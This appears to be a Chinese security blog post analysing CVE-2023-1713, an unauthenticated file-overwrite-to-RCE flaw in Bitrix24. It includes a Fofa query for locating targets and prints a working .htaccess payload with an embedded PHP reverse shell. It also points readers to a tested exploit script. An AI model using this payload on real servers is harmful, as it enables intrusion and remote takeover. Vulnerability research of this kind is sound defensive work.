0x00 前言
Bitrix24是一个在线协作、销售和营销套件,拥有超过35种业务工具,包括世界上最强大的CRM。Bitrix24简化了其面临着的任何流程—从线索获取和转换到准备账单和发票,一般是俄语体系网站最适用的网站管理系统,有超过1500万家企业,学校,政府使用了该系统。
Fofa:app="Bitrix24-Site-Manager"
0x01 影响范围
网站版本 <= Bitrix24 22.0.300
0x02 漏洞分析
在 bitrix/components/bitrix/crm.order.import.instagram.view/class.php 中的 crm.order.import.instagram.view 组件的 importAjax 操作会下载攻击者控制的文件,并将其保存为上传目录中的临时文件。由于攻击者对文件名具有完全控制权,因此他们可以覆盖重要的配置文件,例如 .htaccess,从而实现远程代码执行。
当向 https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3Acrm.order.import.instagram.view&action=importAjax 发出 POST 请求时,将调用 importAjaxAction 函数。此函数最终会调用 Instagram::saveImage(位于 bitrix/modules/crm/lib/order/import/instagram.php 行 476 至 514),其中出现漏洞:
// bitrix/modules/crm/lib/order/import/instagram.php
protected static function saveImage($url){
$fileId = false;
$httpClient = new HttpClient();
$httpClient->setTimeout(5);
$httpClient->setStreamTimeout(5);
$urlComponents = parse_url($url);
if ($urlComponents && $urlComponents['path'] <> ''){
$tempPath = CFile::GetTempName(
'', bx_basename($urlComponents['path']) // [1]
);
}else{
$tempPath = CFile::GetTempName('', bx_basename($url));
}
$httpClient->download($url, $tempPath); // [2]
// Move temporary file to permanent location
}
服务器使用 CFile::GetTempName 函数生成存储下载文件的路径。此函数的第二个参数 $file_name 是通过 bx_basename 函数派生自攻击者提供的 URL,该函数返回路径的尾随名称部分。例如,如果攻击者控制的$url为 https://attacker.com/example.txt,则将example.txt $file_name 参数。CFile::GetTempName 在对 $file_name 参数进行次要处理后调用 CTempFile::GetFileName。CTempFile::GetFileName 生成格式为
$BITRIX_ROOT/upload/tmp/xxx/$file_name,其中 xxx 是由小写字母和数字组成的字符串,因此有 $36^3 = 46656$ 可能的路径,这需要大量时间来暴力破解:
// bitrix/modules/crm/lib/order/import/instagram.php
$httpClient = new HttpClient();
$httpClient->setTimeout(5);
$httpClient->setStreamTimeout(5);
并且不需要任何权限都可以直接上传文件,需要注意的是服务器环境必须得是Apache,若是Nginx需要别的Payload.
.htaccess file:
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
SetHandler application/x-httpd-php
</Files>
# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>
此文件必须与 Python3 漏洞利用代码位于同一目录中。当运行漏洞利用代码时,它将在 LPORT1 上生成一个 HTTP 服务器,为 .htaccess 文件提供HTTP服务,并在 LPORT2 上启动一个 netcat 监听器以进行反向 shell. (漏洞利用脚本已测可用)
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
漏洞利用脚本关注公众号发送 bitrix 获取
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):CVE-2023-1713 Bitrix24远程命令执行漏洞分析(RCE)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论